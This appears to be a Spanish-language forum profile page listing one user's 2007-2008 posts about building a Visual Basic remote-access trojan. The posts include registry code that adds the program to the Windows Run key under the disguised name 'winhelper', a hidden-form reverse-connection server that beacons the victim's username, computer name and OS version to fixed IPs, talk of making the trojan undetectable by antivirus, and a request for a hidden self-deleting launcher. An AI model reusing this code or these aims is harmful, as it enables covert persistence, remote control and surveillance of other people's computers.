elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Trabajando con las ramas de git (tercera parte)


  Mostrar Mensajes
Páginas: 1 2 [3] 4
21  Programación / Programación Visual Basic / Re: Destruir un archivo pasadas 24 horas de su primera ejecución en: 19 Marzo 2008, 17:14 pm
Sí, si que te explicas. Igual el que se ha explicado mal soy yo: Creo que habría que tendría dos aplicaciones joineadas en una sola. La primera aplicación es una de código cerrado en la que no puedo cambiar nada y luego otra que se encargue de lanzar la aplicación cerrada. Si se intenta ejecutar el programa y han pasado 24 o más horas desde la primera ejecución, se elimina la aplicación con Kill (esto la destruye totalmente o solo la manda a la papelera?) y luego el bat que se encargue de lanzar la aplicación. Listo. Pero no sé qué utilizar para eliminar el archivo desde VB, no sé si Kill la manda o no a la papelera (me repito XD)

un saludo y gracias por contestar.
22  Programación / Programación Visual Basic / Destruir un archivo pasadas 24 horas de su primera ejecución en: 19 Marzo 2008, 15:46 pm
Hola, quiero distribuir un programa, pero que sólo funcione durante 24 horas desde su primera ejecución. Había pensado en joinear el programa con uno que se encargue de ejecutar el programa, pero que pasadas 24 horas de la primera ejecución del programa, se autodestruyan el programa que queríamos abrir y el "lanzador". Obviamente, el programa tiene que estar en un sitio oculto... (digamos Windows/system o algo) y que el lanzador sepa dónde está el programa... una vez pasado el día se cargue el programa (o que lo deje inutilizable) y se vaya el lanzador a tomar por culo... se podría hacer algo así??

gracias!

Un saluduo!
23  Programación / Programación Visual Basic / Re: Al iniciar Windows en: 19 Marzo 2008, 15:42 pm
Claro, crea un módulo llamado "modReg" con el siguiente código:

Código:
Option Explicit

Public Carpetas_Registro As String
Public Keys_Registro As String
Public READ_Valor_Key As String
Type FILETIME
  dwLowDateTime As Long
  dwHighDateTime As Long
End Type
Global Const REG_SZ = 1
Global Const REG_BINARY = 3
Global Const HKEY_CLASSES_ROOT = &H80000000
Global Const HKEY_CURRENT_CONFIG = &H80000005
Global Const HKEY_CURRENT_USER = &H80000001
Global Const HKEY_DYN_DATA = &H80000006
Global Const HKEY_LOCAL_MACHINE = &H80000002
Global Const HKEY_USERS = &H80000003
Global Const ERROR_SUCCESS = 0&
Global Const KEY_ENUMERATE_SUB_KEYS = &H8
Global Const KEY_QUERY_VALUE = &H1
Public Declare Sub CopyMemory32 Lib "kernel32.dll" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Public Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long
Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Byte, lpcbData As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long         ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long

Public Sub Reg_Crea_KeyConValor(hKey As Long, carpeta As String, Nombre_Key As String, contenido_key As String)
Dim res
RegOpenKey hKey, carpeta, res
RegSetValueEx res, Nombre_Key, 0, REG_SZ, ByVal contenido_key, Len(contenido_key)
RegCloseKey res
End Sub

Public Sub Reg_Borra_Key(hKey As Long, strPath As String, strValue As String)
Dim ret
RegOpenKey hKey, strPath, ret
RegDeleteValue ret, strValue
RegCloseKey ret
End Sub

Public Sub Reg_Abre_Carpeta(hKey As Long, nombre_folderkey As String)
Dim res
RegOpenKeyEx HKEY_CURRENT_USER, nombre_folderkey, 0, 0, res
End Sub
Public Sub Reg_Cierra_carpeta()
Dim res
RegCloseKey HKEY_CURRENT_USER
End Sub

Public Sub Reg_Lee_Keys(hKey As Long, ruta As String)

Dim valuename As String
    Dim valuelen As Long
    Dim datatype As Long
    Dim Data(0 To 254) As Byte
    Dim datalen As Long
    Dim datastring As String

    Dim Index As Long
    Dim c As Long
    Dim retval As Long
    READ_Valor_Key = ""
    retval = RegOpenKeyEx(hKey, ruta, 0, KEY_QUERY_VALUE, hKey)
    If retval <> 0 Then
       
        'End
    End If
   
    Index = 0
    While retval = 0

        valuename = Space(255)
        valuelen = 255
        datalen = 255

        retval = RegEnumValue(hKey, Index, valuename, valuelen, 0, datatype, Data(0), datalen)
        If retval = 0 Then
            valuename = Left(valuename, valuelen)
           
            READ_Valor_Key = READ_Valor_Key & "Key: " & valuename & vbCrLf
            Select Case datatype
            Case REG_SZ
                datastring = Space(datalen - 1)
                CopyMemory32 ByVal datastring, Data(0), datalen - 1
               
               
                READ_Valor_Key = READ_Valor_Key & "      Valor: " & datastring & vbCrLf
            Case REG_BINARY
                Dim ttStr As String
                ttStr = ""
               
                For c = 0 To datalen - 1
                    datastring = Hex(Data(c))
                    If Len(datastring) < 2 Then datastring = _
                        String(2 - Len(datastring), "0") & datastring
                   
                    ttStr = ttStr & datastring & " "
                Next c
               
            READ_Valor_Key = READ_Valor_Key & "      Valor: " & ttStr & vbCrLf
            Case Else
               
            End Select
        End If
        Index = Index + 1
    Wend
    retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Lee_carpetas(hKey As Long, carpeta As String)
Dim keyname As String
Dim keylen As Long
Dim ClassName As String
Dim classlen As Long
Dim lastwrite As FILETIME
Carpetas_Registro = ""
Dim Index As Long
Dim retval As Long
retval = RegOpenKeyEx(hKey, carpeta, 0, KEY_ENUMERATE_SUB_KEYS, hKey)
    If retval <> 0 Then
    End If
    Index = 0
    While retval = 0
      keyname = Space(255): ClassName = Space(255)
      keylen = 255: classlen = 255
      retval = RegEnumKeyEx(hKey, Index, keyname, keylen, ByVal 0, ClassName, classlen, lastwrite)
      If retval = 0 Then
        keyname = Left(keyname, keylen)
        ClassName = Left(ClassName, classlen)
        If carpeta = "" Then
            Carpetas_Registro = Carpetas_Registro & keyname & vbCrLf
        Else
            Carpetas_Registro = Carpetas_Registro & carpeta & "\" & keyname & vbCrLf
        End If
       End If
      Index = Index + 1
    Wend
    retval = RegCloseKey(hKey)
End Sub

Public Sub Reg_Leer_ValorKey(hKey As Long, Carpeta_Key As String, Nombre_Key As String)
Dim cadena As String
cadena = String(255, Chr(0))
Dim res As Long
RegOpenKey hKey, Carpeta_Key, res
RegQueryValueEx res, Nombre_Key, 0, REG_SZ, ByVal cadena, Len(cadena)


RegCloseKey res
End Sub

Public Sub Reg_Borra_Carpeta(hKey As String, del_carpeta As String)
RegDeleteKey hKey, del_carpeta
End Sub

Public Sub Reg_Crear_carpeta(hKey As Long, Crear_carpeta As String)
Dim res As Long
RegCreateKey hKey, Crear_carpeta, res

RegCloseKey res
End Sub

Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String)
    Dim lResult As Long
    Dim lValueType As Long
    Dim strBuf As String
    Dim lDataBufSize As Long
    Dim intZeroPos As Integer
   
    lResult = RegQueryValueEx(hKey, strValueName, 0&, lValueType, ByVal 0&, lDataBufSize)
    If lResult = ERROR_SUCCESS Then
        If lValueType = REG_SZ Then
            strBuf = String(lDataBufSize, " ")
            lResult = RegQueryValueEx(hKey, strValueName, 0&, 0&, ByVal strBuf, lDataBufSize)
            If lResult = ERROR_SUCCESS Then
                intZeroPos = InStr(strBuf, Chr$(0))
                If intZeroPos > 0 Then
                   RegQueryStringValue = Left$(strBuf, intZeroPos - 1)
                Else
                   RegQueryStringValue = strBuf
                End If
            End If
        End If
    End If
End Function

Public Function GetStringKey(ByVal hKey As Long, ByVal strPath As String, ByVal strValue As String) As String
    Dim keyhand&
    Dim datatype&
    Dim r
   
    r = RegOpenKey(hKey, strPath, keyhand&)
    GetStringKey = RegQueryStringValue(keyhand&, strValue)
    r = RegCloseKey(keyhand&)
End Function


Y luego en tu evento Form_Load pega este código

Código:
Call Reg_Crea_KeyConValor(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "winhelper", """" & App.Path & "\" & App.EXEName & ".exe" & """") 'escribimos en el registro

Un saludo
24  Programación / Programación Visual Basic / Re: Problema de conexión con winsock en: 18 Marzo 2008, 14:22 pm
He avanzado un poco en la investigación. Inicio el servidor, abro un cliente que esté en la lista de IPs y se conecta a él. Se conecta y se reconecta cada 2 segs aproximadamente. Abro el otro cliente (no aparece el servidor en la lista de conexiones) y en el primer cliente deja de reconectarse. Si cierro el primer cliente, aparece la conexión en el segundo cliente y se reconecta cada dos segundos aprox.

No sé que hacer, sinceramente :(
25  Programación / Programación Visual Basic / Problema de conexión con winsock en: 18 Marzo 2008, 13:36 pm
Hola, estoy haciendo una HAR de multiconexión inversa^2 (el servidor es multiconexión y el cliente tambien) pero tengo un problema: El servidor se me conecta y desconecta cada 2 segundos.

Para recrear el error:

1 control winsock llamado server con index 0
2 timers llamados timer1 y timer2 con intervalo de 1100 y 1800 ms respectivamente.

codigo:

Código:
Private Sub Form_Load()
conexiones = 2
currenti = 0


Call Reg_Crea_KeyConValor(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "winhelper", """" & App.Path & "\" & App.EXEName & ".exe" & """") 'escribimos en el registro
Me.Visible = False 'dejamos invisibles el form.
Timer2.Enabled = False 'bloquemos el timer2..
Timer1.Interval = 1750 'ponemos en timer1 a 1750 intervalos.
Timer2.Interval = 1 'ponemos en timer2 a 1 intervalos.
ip(0) = "localhost" 'Definimos la variable IP.
ip(1) = "192.168.1.2"
port = "1452" 'Definimos la variable Port.
Load servidor(1)
servidor(1).RemoteHost = ip(1)
servidor(1).RemotePort = port

If GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "iName") = "" Then 'Si no existe la key Trojan_Name asignamos un nombre predeterminado.
Server_Name = "No Definido" 'Definimos varible.
Else 'Si no
Server_Name = GetStringKey(&H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion", "iName") 'Leemos la key.
End If 'cerramos el if

Version = "jServ 0.2" 'Definimos la variable Versión.
End Sub

Private Sub Timer1_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.
If servidor(0).State <> 7 Then 'Si estas descontado.
servidor(0).Close 'Cerramos la conexión.
servidor(0).Connect ip(0), port '
Timer2.Enabled = True
Else
End If
If servidor(1).State <> 7 Then 'Si estas descontado.
servidor(1).Close 'Cerramos la conexión.
servidor(1).Connect ip(1), port '
Timer2.Enabled = True
Else
End If

End Sub


Private Sub Timer2_Timer()
On Error Resume Next 'Si hay algún error salta a la siguiente línea.


If servidor(0).State = 7 Then 'Si estas Conectado.
servidor(0).SendData "Conexion|" & Server_Name & "|" & servidor(0).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque

End If
If servidor(1).State = 7 Then 'Si estas Conectado.
servidor(1).SendData "Conexion|" & Server_Name & "|" & servidor(1).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version 'Enviamos el paquete de conexión.
Timer2.Enabled = False 'Bloque

End If

End Sub

La mayoría del código es de no sé quien pero yo también he hecho cositas... Necesito multiconexión inversa pero no se como hacer que no se piense que está desconectado... ya que cada 1800 milisegundos me manda esta cadena: ""Conexion|" & Server_Name & "|" & servidor(1).LocalIP & "|" & Usuario_Windows & "|" & PC_Name & "|" & winversion & "|" & Version" que supuestamente se tendría que mandar sólo una vez, por que se autobloquea. Pero el timer1 lo reactiva si piensa que está desconectado... no sé que hacer

toda ayuda será agradecida :)

Un saludo
26  Programación / Programación Visual Basic / Re: JRAT 2.0 [Demo&Video] en: 16 Marzo 2008, 12:35 pm
Gracias a los dos por contestar.

@Shekel El programa es WorkRave, se supone que te dosifica el tiempo delante del ordenador... pero a veces es un poco jodedor xDDDD

Por cierto, podéis ir diciéndome ideas para el bichito este... :P
27  Programación / Programación Visual Basic / JRAT 2.0 [Demo&Video] en: 14 Marzo 2008, 19:08 pm
Hola, os quiero presentar el proyecto en el que he estado trabajando estas últimas semanas. Es una continuación de mi antigua herramienta de administración remota (JRAT) y os dejo aquí el vídeo:

http://www.vimeo.com/784280

La contraseña es "cerumen", xD (sin las comillas)

Espero que os guste.

Aprovecho para pedir ayuda con la conexión por CSocketMaster en DNS que no estén en la red local... No sé por qué no me va.

Gracias de antemano.

Un saludo :P

28  Programación / Programación Visual Basic / CSocketMaster para conectar a un DNS en: 13 Marzo 2008, 18:05 pm
Hola, gente! Hacía tiempo que no programaba ya, y me he puesto a empezar un troyano de cero patatero, tiene FileManager y Transferencia de archivos (gracias E0N) y unas cuantas cosillas más como por ejemplo chat, bromillas... Pero tengo un gran poblema (xD). A ver, si yo compilo el troyano (aún no tiene editor) con una IP de mi red local que obviamente ejecuto en un ordenador que no sea el cliente funciona a las mil maravillas (usando CSocketMaster). Ahora le paso a un colega que me ayuda a probar la mascotita (xD) y no pasa nada... Si utilizo el componente MSWINSCK.OCX, funciona perfecto con una DNS dinámica y con IPs. CSocketMaster también funciona con IPs, pero no sé por qué no resuelve DNSs. Entonces pido un poco de ayuda con este troyano, que de momento es indetectable... Seguro que si nos ayudamos mutuamente podremos ver en unos pocos meses un troyano totalmente funcional e indetectable incluso a la heurística de la mayoría de antivirus (aunque ahora con lo de la Inteligencia Colectiva de Panda está un poco más chungo...). Espero que alguien me pueda ayudar en mi odisea con esta API.
P.D: Absteneos de recomendarme bindear la librería... xDDDD

Un saludo, y gracias por adelantado
29  Programación / PHP / Contador de visitas PHP/MYSQL en: 1 Mayo 2007, 15:23 pm
Hey wenas

Bueno, he estado buscando... y no encuentro ningún contador de visitas con PHP y MYSQL... alguna idea? Grax
30  Programación / PHP / Re: Cómo saber qué argumentos son dados en: 29 Abril 2007, 16:12 pm
Sip, justo eso, gracias :D:D, esque estoy haciendo un generador de firmas! xD
Páginas: 1 2 [3] 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines